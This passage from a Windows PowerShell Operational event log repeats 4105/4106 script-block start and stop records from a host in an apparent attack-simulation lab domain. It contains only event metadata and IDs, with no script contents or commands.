Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039346
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039345
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039323
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039322
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039321
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039320
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039304
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039303
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039298
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039297
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
